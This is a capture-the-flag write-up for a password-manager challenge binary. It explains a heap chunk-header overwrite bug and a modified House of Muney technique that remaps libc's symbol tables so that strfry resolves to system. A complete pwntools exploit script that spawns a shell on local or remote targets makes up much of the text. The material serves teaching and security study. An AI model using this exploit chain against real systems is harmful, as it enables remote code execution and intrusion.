#Challenge Description
Hi! Here’s the password manager I developed, if you’d like to try it out. Also, if you’re interested, I’ve also exposed the service on my server, just for testing. (Since it’s a trial version, passwords won’t be saved.)
The password is: db_passwd_for_testing!.
#Challenge Overview
Upon startup, the binary accepts three primary command-line operations:
if (!memcmp(argv[1], "db-create", 9) && argv[2]) { create_database(argv[2]); return 0; }
if (!memcmp(argv[1], "db-open", 7) && argv[2]) { open_database(argv[2]); return 0; }
if (!memcmp(argv[1], "db-rm", 5) && argv[2]) { remove_database(argv[2]); return 0; }
db-create: Creates a new database file.db-open: Opens an existing database.db-rm: Deletes a database file.
Once a database is loaded, the application enters an interactive CLI offering the following subcommands:
if (!strncmp(command, "help", 4)) { help_command(command); }
else if (!strncmp(command, "add", 3)) { add_entry(command); }
else if (!strncmp(command, "edit", 4)) { edit_entry(command); }
else if (!strncmp(command, "rm", 2)) { rm_entry(command); }
else if (!strncmp(command, "ls", 2)) { list_entry(); }
else if (!strncmp(command, "show", 4)) { show_entry(command); }
else if (!strncmp(command, "generate", 8)) { generate(command); }
else if (!strncmp(command, "clear", 5)) { clear_screen(); }
else if (!strncmp(command, "close", 5)) { quit(); }
else if (!strncmp(command, "exit", 4)) { quit(); }
In short:
add: Adds a new entry.edit: Modifies an existing entry.rm: Removes an entry.ls: Lists all entries.show: Displays the details of a specific entry.generate: Generates a random password.clear: Clears the terminal screen.close/exit: Exits the program.help: Displays help and extra option usage for individual commands.
Entries are serialized and saved to disk using a secure implementation of AES. The ultimate goal of this challenge is to achieve Remote Code Execution (RCE).
#Vuln
The core vulnerability resides in the edit_entry() function when handling the URL flag (case 3):
case 3: // URL
memset(entry_arr[idx].URL, '\0', sizeof(entry_arr[idx].URL));
memcpy(entry_arr[idx].username - 0x10, value + 1, 0x10);
break;
Instead of writing data into the URL buffer, the function performs a memcpy to entry_arr[idx].username - 0x10. Since username points to a dynamically allocated buffer on the heap, username - 0x10 directly targets the heap chunk header (metadata) of the username allocation. This grants a 16-byte out-of-bounds write, allowing us to corrupt chunk metadata (such as the chunk size and flags) with controlled user data.
To exploit this corruption, we need control over the heap layout. The edit_comment() helper function provides ideal heap manipulation primitives:
Arbitrary Allocation Size: It accepts a user-controlled
requested_sizeup toINT_MAX, callingmalloc()with arbitrary sizes.Free Primitive: It calls
free(entry->comment)after allocating the new comment, allowing us to triggerfree()operations on demand.
By leveraging edit_comment(), we can allocate arbitrary chunk sizes and trigger allocations or deallocations at will, giving us full control over heap layout grooming to exploit the chunk header corruption.
#Exploit
There are two primary approaches to exploit this vulnerability:
- Heap Manipulation: Using the URL out-of-bounds header overwrite to manipulate standard heap metadata, constructing an exploit chain leading to FSOP (File Stream Oriented Programming) or ROP.
- Large Allocation Overlap (House of Muney): Leveraging large allocations and
mmapchunk header corruption.
Given the capability to allocate large chunks alongside metadata corruption, we opted for a modified House of Muney approach.
House of Muney is traditionally a leakless attack technique against mmap allocated chunks that allows overwriting read-only sections or dynamic linker/symbol structures within libc.
In modern glibc versions, standard House of Muney often fails due to overlap with Thread-Local Storage (TLS). Corrupting TLS during the allocation overlay breaks internal thread structures, causing the main process thread to crash immediately.
To bypass this restriction, the environment is launched with specific glibc tunables in run.sh:
TUNABLES='glibc.rtld.nns=1:glibc.rtld.optional_static_tls=0'
Disabling optional static TLS and configuring link namespaces prevents TLS structures from interfering with our overlapped mapping.
Since House of Muney operates on relative offsets within the mmap mapping space, it is entirely leakless. We can construct our fake GNU hash table and symbol table structure (Elf64_Sym) offline without needing prior address leaks:
import ctypes
from pwn import *
...
OVERLAP_CHUNK_SIZE = 0x300000
LIBC_BASE_FROM_OVERLAP = 0x2ec000 - 0x10
class Elf64_Sym(ctypes.Structure):
_fields_ = [
("st_name", ctypes.c_uint32),
("st_info", ctypes.c_uint8),
("st_other", ctypes.c_uint8),
("st_shndx", ctypes.c_uint16),
("st_value", ctypes.c_uint64),
("st_size", ctypes.c_uint64),
]
def put_qword(buf, off, value):
buf[off:off + 8] = p64(value)
def put_bytes(buf, off, data):
buf[off:off + len(data)] = data
def build_overlap_payload():
gnu_bitmask_offset = 0x4598
gnu_bucket_offset = 0x5598
gnu_chain_zero_offset = 0x6508
symbol_table_offset = 0xf8a0
hash_value_offset = 0x8f
bucket_value_offset = 0x146
hash_value = 0x40d0708030098495
bucket_value = 0x414
chain_zero_value = 0x9a1ccddb1c93a3ce
# Target symbol spoofing setup
sym = Elf64_Sym()
sym.st_name = 0x3286
sym.st_info = 0x12
sym.st_other = 0x00
sym.st_shndx = 0x000e
sym.st_value = 0x53910 # Address offset for system()
sym.st_size = 0x106
payload = bytearray(OVERLAP_CHUNK_SIZE)
hash_off = LIBC_BASE_FROM_OVERLAP + gnu_bitmask_offset + (hash_value_offset * 8)
bucket_off = LIBC_BASE_FROM_OVERLAP + gnu_bucket_offset + ((bucket_value_offset // 2) * 8)
chain_off = LIBC_BASE_FROM_OVERLAP + gnu_chain_zero_offset + ((bucket_value // 2) * 8)
sym_off = LIBC_BASE_FROM_OVERLAP + symbol_table_offset
put_qword(payload, hash_off, hash_value)
put_qword(payload, bucket_off, bucket_value)
put_qword(payload, chain_off, chain_zero_value)
put_bytes(payload, sym_off, bytes(sym))
return bytes(payload)
For convenience and state predictability, we clear any pre existing database entries and reinitialize fresh entries:
# init db
r.sendline(b"rm a")
r.sendline(b"rm b")
r.sendline(b"rm c")
r.sendline(b"rm d")
r.sendline(b"add a")
r.sendline(b"add b")
r.sendline(b"add c")
r.sendline(b"add d")
r.sendline(b"edit d -c")
r.sendline(b"1")
r.sendline(b"a")
We allocate large chunks (edit_a and edit_b) via mmap. Next, we trigger the URL bug in edit_c to overwrite the chunk metadata of b, inflating its size header to tot_size | 2 (setting the IS_MMAPPED flag):
tot_size = 0x100000 + 0x100000 + 0x15000
edit_a = b"edit a -u " + b"A" * (0x100000 - 0x20)
edit_b = b"edit b -u " + b"B" * (0x100000 - 0x20)
edit_c = b"edit b -URL A" + p64(0x0) + p64(tot_size | 2)
r.sendline(edit_a)
r.sendline(edit_b)
r.sendline(edit_c)
By freeing b (rm b), glibc unmaps the corrupted range. We then call edit_comment on c to allocate a matching large size (0x300000), reclaiming the unmapped space. This maps directly over libc symbol resolution tables, allowing us to write our crafted payload:
r.sendline(b"rm b")
r.recvuntil(b"Entry deleted successfully")
r.sendline(b"edit c -c")
r.recvuntil(b"Comment size: ")
r.sendline(str(len(payload)).encode())
r.recvuntil(b"Comment: ")
r.send(payload)
Our payload spoofed the GNU hash resolution entry for strfry(), redirecting its resolve pointer to system().
The generate command invokes strfry(value) internally. Since strfry is infrequently used elsewhere, hijacking it guarantees high reliability without triggering premature crashes before popping a shell:
# Triggers strfry("/bin/sh") -> resolves to system("/bin/sh")
r.sendline(b"generate -p /bin/sh")
r.interactive()
Full exploit:
#!/usr/bin/env python3
from pwn import *
from time import *
import argparse
import ctypes
parser = argparse.ArgumentParser()
parser.add_argument("--local", action="store_true", help="Esegui in modalità locale")
parser.add_argument("--debug", action="store_true", help="Esegui in modalità debug")
args = parser.parse_args()
HOST = os.environ.get("HOST", "localhost")
PORT = int(os.environ.get("PORT", "5000"))
ssl = False
if PORT == 443:
ssl = True
exe = ELF("../remote/kpcli")
libc = ELF("../remote/lib/libc.so.6")
ld = ELF("../remote/lib/ld-linux-x86-64.so.2")
#rop = ROP(exe) #rop.find_gadget(["ret"])[0]
context.aslr = True
context.binary = exe
context.terminal = ['tmux', 'split-window', '-h', '-b']
context.log_level = 'error'
exe.address = base = 0x555555554000 if not context.aslr else exe.address
gdbscript =\
"""
i b
"""
def conn():
if getattr(args, "local", False):
print("...MODALITA' LOCAL...")
r = process([exe.path.strip(), "db-open", "../remote/db-test"], stdin=PIPE, stdout=PIPE, stderr=PIPE, env={"GLIBC_TUNABLES": "glibc.rtld.nns=1:glibc.rtld.optional_static_tls=0"})
elif getattr(args, "debug", False):
print("...MODALITA' DEBUG...")
r = gdb.debug([exe.path.strip(), "db-open", "../remote/db-test"], gdbscript=gdbscript, env={"GLIBC_TUNABLES": "glibc.rtld.nns=1:glibc.rtld.optional_static_tls=0"})
else:
print("...MODALITA' REMOTE...")
r = remote(HOST, PORT, ssl=ssl)
return r
decode_ptr = lambda ptr, offset=0: (mid := ptr ^ ((ptr >> 12) + offset)) ^ (mid >> 24)
encode_ptr = lambda pos, ptr: (pos >> 12) ^ ptr
OVERLAP_CHUNK_SIZE = 0x300000
LIBC_BASE_FROM_OVERLAP = 0x2ec000 - 0x10
class Elf64_Sym(ctypes.Structure):
_fields_ = [
("st_name", ctypes.c_uint32),
("st_info", ctypes.c_uint8),
("st_other", ctypes.c_uint8),
("st_shndx", ctypes.c_uint16),
("st_value", ctypes.c_uint64),
("st_size", ctypes.c_uint64),
]
def put_qword(buf, off, value):
buf[off:off + 8] = p64(value)
def put_bytes(buf, off, data):
buf[off:off + len(data)] = data
def build_overlap_payload():
gnu_bitmask_offset = 0x4598
gnu_bucket_offset = 0x5598
gnu_chain_zero_offset = 0x6508
symbol_table_offset = 0xf8a0
hash_value_offset = 0x8f
bucket_value_offset = 0x146
hash_value = 0x40d0708030098495
bucket_value = 0x414
chain_zero_value = 0x9a1ccddb1c93a3ce
sym = Elf64_Sym()
sym.st_name = 0x3286
sym.st_info = 0x12
sym.st_other = 0x00
sym.st_shndx = 0x000e
sym.st_value = 0x53910
sym.st_size = 0x106
payload = bytearray(OVERLAP_CHUNK_SIZE)
hash_off = LIBC_BASE_FROM_OVERLAP + gnu_bitmask_offset + (hash_value_offset * 8)
bucket_off = LIBC_BASE_FROM_OVERLAP + gnu_bucket_offset + ((bucket_value_offset // 2) * 8)
chain_off = LIBC_BASE_FROM_OVERLAP + gnu_chain_zero_offset + ((bucket_value // 2) * 8)
sym_off = LIBC_BASE_FROM_OVERLAP + symbol_table_offset
put_qword(payload, hash_off, hash_value)
put_qword(payload, bucket_off, bucket_value)
put_qword(payload, chain_off, chain_zero_value)
put_bytes(payload, sym_off, bytes(sym))
return bytes(payload)
def main():
r = conn()
tot_size = 0x100000 + 0x100000 + 0x15000 # 15000 can be change in remote
edit_a = b"edit a -u " + b"A"*(0x100000 - 0x20)
edit_b = b"edit b -u " + b"B"*(0x100000 - 0x20)
edit_c = b"edit b -URL A" + p64(0x0) + p64(tot_size | 2)
payload = build_overlap_payload()
r.sendline(b"db_passwd_for_testing!") #password
# init db
r.sendline(b"rm a")
r.sendline(b"rm b")
r.sendline(b"rm c")
r.sendline(b"rm d")
r.sendline(b"add a")
r.sendline(b"add b")
r.sendline(b"add c")
r.sendline(b"add d")
r.sendline(b"edit d -c")
r.sendline(b"1")
r.sendline(b"a")
#init exploit
r.sendline(edit_a)
r.sendline(edit_b)
r.sendline(edit_c)
r.sendline(b"rm b")
r.recvuntil(b"Entry deleted successfully")
r.sendline(b"edit c -c")
r.recvuntil(b"Comment size: ")
r.sendline(str(len(payload)).encode())
r.recvuntil(b"Comment: ")
r.send(payload)
r.sendline(b"generate -p /bin/sh")
r.interactive()
if __name__ == "__main__":
main()
~SoloPietro